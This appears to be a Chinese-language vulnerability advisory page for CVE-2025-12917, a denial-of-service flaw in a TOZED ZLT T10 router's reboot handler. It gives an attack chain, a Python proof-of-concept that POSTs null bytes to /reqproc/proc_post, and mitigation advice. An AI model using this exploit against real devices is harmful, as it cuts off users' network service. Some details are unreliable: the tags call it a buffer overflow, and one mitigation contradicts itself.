IPBUF安全漏洞报告
English
CVE-2025-12917 CVSS 4.3 中危

CVE-2025-12917 TOZED ZLT T10 拒绝服务漏洞

披露日期: 2025-11-09

漏洞信息

漏洞编号
CVE-2025-12917
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
TOZED ZLT T10 (T10PLUS_3.04.15)

相关标签

拒绝服务缓冲区溢出TOZED ZLT T10路由器漏洞邻接网络攻击无认证利用CVE-2025-12917

漏洞概述

CVE-2025-12917是影响TOZED ZLT T10路由器固件版本T10PLUS_3.04.15的一个拒绝服务漏洞。该漏洞存在于设备的Reboot Handler组件中,涉及文件/reqproc/proc_post的处理逻辑。攻击者通过构造特定的请求触发设备重启功能,导致系统服务中断。由于该漏洞需要攻击者处于本地网络邻接范围内,且无需任何认证或用户交互即可被利用,因此具有较高的实际威胁性。攻击者可以利用公开的漏洞利用代码发起攻击,造成设备可用性下降,影响正常网络通信。厂商在收到早期通知后未做出任何响应,导致该漏洞长期存在且缺乏官方修复方案。

技术细节

该漏洞位于TOZED ZLT T10设备的Web管理界面处理模块中,特别是在处理/reqproc/proc_post请求的Reboot Handler组件。当设备接收到特制的请求时,Reboot Handler未能正确验证请求的合法性,导致攻击者可以触发设备重启操作。由于漏洞存在于处理POST请求的函数中,攻击者可以通过发送精心构造的HTTP POST请求来利用此漏洞。攻击过程不需要认证凭证,也不需要任何用户交互,攻击者只需在本地网络范围内即可发起攻击。成功利用后,设备将执行重启操作,导致所有当前连接中断,网络服务暂时不可用。CVSS 3.1评分显示该漏洞的可用性影响为低级别(Impact: Low),但由于攻击复杂度低且无需特殊权限,仍需引起重视。

攻击链分析

STEP 1
步骤1
攻击者位于本地网络邻接范围内,通过网络扫描发现TOZED ZLT T10设备
STEP 2
步骤2
攻击者识别设备的Web管理界面,定位到/reqproc/proc_post端点
STEP 3
步骤3
攻击者构造恶意POST请求,包含特制payload以触发Reboot Handler组件的漏洞
STEP 4
步骤4
发送恶意请求到目标设备的/reqproc/proc_post路径,无需任何认证
STEP 5
步骤5
设备接收到请求后,Reboot Handler未能正确处理,导致设备执行重启操作
STEP 6
步骤6
设备重启后,所有网络连接中断,服务暂时不可用,实现拒绝服务效果

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import http.client import sys def exploit_cve_2025_12917(target_ip, target_port=80): """ CVE-2025-12917 PoC - TOZED ZLT T10 Reboot Handler DoS This exploit sends a crafted POST request to /reqproc/proc_post to trigger a denial of service condition in the Reboot Handler component. Note: This code is for educational and security research purposes only. """ try: # Construct the malicious POST request payload = b'\x00' * 1024 # Malformed payload to trigger reboot handler headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': str(len(payload)) } # Alternative using socket for more control sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) request = f"POST /reqproc/proc_post HTTP/1.1\r\n" request += f"Host: {target_ip}\r\n" request += "Content-Type: application/x-www-form-urlencoded\r\n" request += f"Content-Length: {len(payload)}\r\n" request += "Connection: close\r\n" request += "\r\n" sock.sendall(request.encode() + payload) response = sock.recv(4096) sock.close() print(f"[+] Request sent to {target_ip}:{target_port}") print(f"[*] Response received: {response[:200]}") print("[+] Target may have been rebooted") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_12917(target, port)

影响范围

TOZED ZLT T10 T10PLUS_3.04.15

防御指南

临时缓解措施
由于厂商未响应修复请求,建议采取以下临时措施:1) 在网络层限制对设备/reqproc/proc_post端点的访问,仅允许受信任的管理IP访问;2) 监控网络流量,识别异常的POST请求模式;3) 考虑更换为已停止维护的设备或有安全更新支持的替代产品;4) 如可能,在防火墙层面阻断对设备敏感路径的外部访问请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表